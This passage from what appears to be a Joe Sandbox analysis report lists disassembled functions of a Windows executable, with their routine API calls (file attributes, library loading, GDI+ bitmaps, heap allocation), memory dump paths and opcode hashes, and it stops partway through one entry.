Opcode ID: 31150eb0a8e96565521b008d515a04ceeeb53c9c6be64313f9a808c9f5c82140
Instruction ID: c89c0ec2f9d9f05d33307ff6eccbbae27402ab60a9a8d48292f90c809b1c7594
Opcode Fuzzy Hash: 31150eb0a8e96565521b008d515a04ceeeb53c9c6be64313f9a808c9f5c82140
Instruction Fuzzy Hash: 6DE0923264024DABEB109FA1EC85FEA779EEB09381F844062B988C2151DB319D959A90

Function 001D9E13 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,001D9E08,?,001D75A0,?,?,?,?), ref: 001D9E24
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,001D9E08,?,001D75A0,?,?,?,?), ref: 001D9E50

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 84b83756e948895bc0e1c7483857352b11659063264177fffc9070881378678b
Instruction ID: e4ecc752906632769ef8e130ccc70b378f246f2616c7adec138ddb83ff302643
Opcode Fuzzy Hash: 84b83756e948895bc0e1c7483857352b11659063264177fffc9070881378678b
Instruction Fuzzy Hash: 98E09B3250025857DB50AB68DC49BDE775DDB187E2F004161FD58E3291DB705D8587D0

Function 001DF309 Relevance: 3.0, APIs: 2, Instructions: 25libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 001DF324
LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,001DDEC8,Crypt32.dll,?,001DDF4A,?,001DDF2E,?,?,?,?), ref: 001DF346

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: 3d2f2bceb3fb2ff2493c4f7aaf15b3d7ab9663adee8a90038a1741e662565cba
Instruction ID: ee3b12e8683622215902d0d940a41c56306d05e7029f39ad1e5791ed21d535a8
Opcode Fuzzy Hash: 3d2f2bceb3fb2ff2493c4f7aaf15b3d7ab9663adee8a90038a1741e662565cba
Instruction Fuzzy Hash: 9CE09272800258A7DB10AAA4AC48FEB776CEB08381F0000A6B948D2101DB709A40CBF0

Function 001E8924 Relevance: 3.0, APIs: 2, Instructions: 24windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 001E8945
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 001E894C

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: 7715ea5d1b9424033fedd7b2191561f75222a7c0d29cf3c912f2846a6ce9a42f
Instruction ID: a0c54148228c94d56ed79f937c14fb0afecdaf685d5179b844f22e442f5f4911
Opcode Fuzzy Hash: 7715ea5d1b9424033fedd7b2191561f75222a7c0d29cf3c912f2846a6ce9a42f
Instruction Fuzzy Hash: 0CE06D71800608EFCB14DF8AC8017EDBBE8EB08321F10806AE84893201D7B1AE109BE2

Function 001E909E Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,001FF79B,000000FF), ref: 001E90C7
CoUninitialize.COMBASE(?,?,?,001FF79B,000000FF), ref: 001E90CC

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: 83bac88e566966084b580c52e5da51628aa78df000c3af4a8d2119c1f1f90525
Instruction ID: 22c0628f9f7923e1d077a409d00088d6fda2344edd416f33c448312bf8820b3d
Opcode Fuzzy Hash: 83bac88e566966084b580c52e5da51628aa78df000c3af4a8d2119c1f1f90525
Instruction Fuzzy Hash: B1E01A32544B44DFC320DB8CED45B55BBE9FB08B20F108769B91A83B60CB796854CA91

Function 001F0CA6 Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

Part of subcall function 001F1D9A: try_get_function.LIBVCRUNTIME ref: 001F1DAF

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 001F0CC4
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 001F0CCF

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
String ID:
API String ID: 806969131-0
Opcode ID: 52da88aafe9a1f2762bfb7e2eb24f560f48f8ab789bcd715d1619e0793382b9c
Instruction ID: 22851a7a328a08b46366b16a2e793195d7bee6f98db12a265846658c65d89e07
Opcode Fuzzy Hash: 52da88aafe9a1f2762bfb7e2eb24f560f48f8ab789bcd715d1619e0793382b9c
Instruction Fuzzy Hash: C2D0A77954870D74990763B0782247A2345652A7707A003C6E731951C3DF5040416112

Function 001D12C2 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 001D12D7
ShowWindow.USER32(00000000), ref: 001D12DE

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: 0438261ac267ba373f9ebcfac896fff053e5016a4544d5912a171587de99dc8e
Instruction ID: 9e730df63f450f8d2060cf94ed8253bc228b5d1e8d0d17d9dfe3a753c8135c23
Opcode Fuzzy Hash: 0438261ac267ba373f9ebcfac896fff053e5016a4544d5912a171587de99dc8e
Instruction Fuzzy Hash: 7EC01232058300BFCB010BB0EC0DD2EBFAAABB5216F00C908B4A5C00A1C238C020DB12

Function 001DFC30 Relevance: 2.5, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00211E74,?,?,?,?,001DA5A0,?,?,?,?,001FF79B,000000FF), ref: 001DFC42
LeaveCriticalSection.KERNEL32(00211E74,?,?,?,?,001DA5A0,?,?,?,?,001FF79B,000000FF), ref: 001DFC99

Part of subcall function 001DF9D1: ReleaseSemaphore.KERNEL32(?,00000020,00000000), ref: 001DFA05
Part of subcall function 001DF9D1: CloseHandle.KERNEL32(?,?), ref: 001DFA1F
Part of subcall function 001DF9D1: DeleteCriticalSection.KERNEL32(?), ref: 001DFA38
Part of subcall function 001DF9D1: CloseHandle.KERNELBASE(?), ref: 001DFA44
Part of subcall function 001DF9D1: CloseHandle.KERNEL32(?), ref: 001DFA50

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: CloseCriticalHandleSection$DeleteEnterLeaveReleaseSemaphore
String ID:
API String ID: 3265325312-0
Opcode ID: 5cd36b832888f5da429771a97ba2ef9b89b2dcf8f40c3a292b22c7cf02672a5a
Instruction ID: 547704526f33d4142961bf3e0612726d8b2b5c864497b5b71261e4239a32e9e4
Opcode Fuzzy Hash: 5cd36b832888f5da429771a97ba2ef9b89b2dcf8f40c3a292b22c7cf02672a5a
Instruction Fuzzy Hash: 63F0F4326002186BD6102725FC84DBEB71DDBA5764715812FFD0263342DF36AE2342E0

Function 001D19B1 Relevance: 1.8, APIs: 1, Instructions: 275COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 001D19B6

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 8901d18205de2309af95a5b4d6089e59b32452d316c3033203dfdd3d3cca6228
Instruction ID: 70eda7b3ec0a5e54dec89c67962bc9da3ed3515c2dc93b590cd8cfbb0f32efaa
Opcode Fuzzy Hash: 8901d18205de2309af95a5b4d6089e59b32452d316c3033203dfdd3d3cca6228
Instruction Fuzzy Hash: A2B1BF70A04686BFEB19CFB8C484BF9FBA6BF15304F14425BE46597381CB31A964CB91

Function 001D820B Relevance: 1.6, APIs: 1, Instructions: 110COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 001D8210

Part of subcall function 001D137E: __EH_prolog.LIBCMT ref: 001D1383
Part of subcall function 001D137E: new.LIBCMT ref: 001D13FB

Part of subcall function 001D19B1: __EH_prolog.LIBCMT ref: 001D19B6

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: dac72fd81350f43f0c167cfd5fbe6aa1cc1f39adf2eac5d8e3d35b13c94c2a7b
Instruction ID: 0ff45db6b50443c431c9633cb011d2abc3ed49b9dbc6a9323b8fb1d6fa601721
Opcode Fuzzy Hash: dac72fd81350f43f0c167cfd5fbe6aa1cc1f39adf2eac5d8e3d35b13c94c2a7b
Instruction Fuzzy Hash: 05419471940658AADF24DB60CC51BEAB368AF60704F0400EBE44A93292DF749EC9DB50

Function 001E21E6 Relevance: 1.6, APIs: 1, Instructions: 90COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 001E21EB

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 59b022ec7c67b3a9af61f3749e01b5eec1bdb6745b1210800e7d36a18e7cf0d6
Instruction ID: bcea0fc8021b35e63baf470459fd880f69912d389a2c3f6a6a5c5e04f095852b
Opcode Fuzzy Hash: 59b022ec7c67b3a9af61f3749e01b5eec1bdb6745b1210800e7d36a18e7cf0d6
Instruction Fuzzy Hash: B921E4B1E40A56ABDB14DFBADC4266FB6ACFB14314F04023AF605EB681D7709D40C6A8

Function 001E9485 Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 001E948A

Part of subcall function 001D137E: __EH_prolog.LIBCMT ref: 001D1383
Part of subcall function 001D137E: new.LIBCMT ref: 001D13FB

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 344b92f274047374c82d5100825072670216acec5de6eb8128ce1cc10c0d79c1
Instruction ID: 5aad0b7fe5531dfe75ee6daa839209478bf5406112d7daf47518180e8ab2d3b5
Opcode Fuzzy Hash: 344b92f274047374c82d5100825072670216acec5de6eb8128ce1cc10c0d79c1
Instruction Fuzzy Hash: CF214F76D0468DAACF15DF95D9419EEBBF4BF29300F1004AEE809A7242D7756E05CF60

Function 001D90D0 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 001D90D5

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 26fdfa1ca46f38f78e413e4b07f5dac6f30a49066499761cd4683558ddb91235
Instruction ID: 90dc802c643c3b2e67e9c471567503e8cc7a82885eb8ab3a731198b18fad58a1
Opcode Fuzzy Hash: 26fdfa1ca46f38f78e413e4b07f5dac6f30a49066499761cd4683558ddb91235
Instruction Fuzzy Hash: C7118273A0042AABCF11AE98CC959EEB736BF58750F004626F81577351DB359C01C7E0

Function 001F8EE4 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 001F5A8D: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,001F634D,00000001,00000364,?,001F2213,?,?,0020CBE8), ref: 001F5ACE

_free.LIBCMT ref: 001F8F50

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: ffe7a698f1ec9d313924040038d8a651e71016dbf9af90b8887af046bf84921e
Instruction ID: 74837134b0e438f119a5d5250e6eb8b52c6cdf2112eed9e849104f2e38b025a2
Opcode Fuzzy Hash: ffe7a698f1ec9d313924040038d8a651e71016dbf9af90b8887af046bf84921e
Instruction Fuzzy Hash: 4A01D6722047496FE7258E69D88596AFBDAFB85370F25062DE69883280EB70A805C664

Function 001F5A8D Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,001F634D,00000001,00000364,?,001F2213,?,?,0020CBE8), ref: 001F5ACE

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 7bc84068f50ab539ba3951f5d399174731e1be4e3c60fdccf63c166a60d5fdda
Instruction ID: 7d800f88d4c2de8ff3181b5018b2903842f838de885b2e33b3cae4279d642318
Opcode Fuzzy Hash: 7bc84068f50ab539ba3951f5d399174731e1be4e3c60fdccf63c166a60d5fdda
Instruction Fuzzy Hash: 4EF0B431601E2C6BEB316A229C89B7A374AAF517B0F194211FF1597591DB20DC2146A0

Function 001F59FC Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,001F23AA,?,0000015D,?,?,?,?,001F2F29,000000FF,00000000,?,?), ref: 001F5A2E

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 3232005475a7c54b7b04769f8071ea72880884fec6277a230a9fc4b4ca1a7346
Instruction ID: 8777231b892a75fbfe9a5649a69d6b34fd8ae2504b41686086cbff165f8108b6
Opcode Fuzzy Hash: 3232005475a7c54b7b04769f8071ea72880884fec6277a230a9fc4b4ca1a7346
Instruction Fuzzy Hash: DAE0E531100E3C6BE7312A619C85B7A3A4AAF213F4F050320AF0697192DB60CC1141A4

Function 001D5B35 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 001D5B3A

Part of subcall function 001DAC66: __EH_prolog.LIBCMT ref: 001DAC6B

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: e29b4043d39274f6df154f80db4eced3c285f2d7d7d0bdabf9778dc249d9c254
Instruction ID: b6ff382af2e92a5e26273c707572b3eebac579980249efb4024e31c8a9d2035d
Opcode Fuzzy Hash: e29b4043d39274f6df154f80db4eced3c285f2d7d7d0bdabf9778dc249d9c254
Instruction Fuzzy Hash: A4018130904689DACB04E7A4C4557EDF7E4AF66304F00809EA85A53382DBB42B09D7A3

Function 001DA145 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 001DA174

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 77ce1e8463bcfc7220ba2e353f79a8e1f840921ae082dbd9e9d98ab8cc5d4637
Instruction ID: 86fdb7ba432c6d948a6cd0fc667192c52c2f1953f0d8d2f0e3ebceceebf920a9
Opcode Fuzzy Hash: 77ce1e8463bcfc7220ba2e353f79a8e1f840921ae082dbd9e9d98ab8cc5d4637
Instruction Fuzzy Hash: 27F08235409780EEDE229BB48845BCB7B956F26331F048A4BF1FD52392C3755496D723

Function 001D1E8E Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 001D1E93

Part of subcall function 001D18F6: __EH_prolog.LIBCMT ref: 001D18FB

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 7ad6aee3403dcfffae68bfdd332e3fb451f101d0adf3878784ccf7c9fa551d94
Instruction ID: 123d049d4acc53de6edd561aeb00b2edeac3974046a5bc3641d21f4f2c57918e
Opcode Fuzzy Hash: 7ad6aee3403dcfffae68bfdd332e3fb451f101d0adf3878784ccf7c9fa551d94
Instruction Fuzzy Hash: 45F0D4B1D00289AECF41DFA888056EEBBB1BB18200F0441BAD519E3202E73546058B91

Function 001D1E93 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 001D1E93

Part of subcall function 001D18F6: __EH_prolog.LIBCMT ref: 001D18FB

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: e0ae847181b1538d67acaf3b877b1e0c0f52bda45648bd320df295aee16f3314
Instruction ID: 74075b7efade8bc602924166866c0d9b7e21d1da7f1dfc60304c86b1c42915e0
Opcode Fuzzy Hash: e0ae847181b1538d67acaf3b877b1e0c0f52bda45648bd320df295aee16f3314
Instruction Fuzzy Hash: 19F092B2C01699AECF41DFA8C8456EEBBF1BB19200F1442BBD409E7202E7395645CB91

Function 001E8B65 Relevance: 1.5, APIs: 1, Instructions: 17memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010), ref: 001E8B6B

Part of subcall function 001E8924: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 001E8945

Memory Dump Source

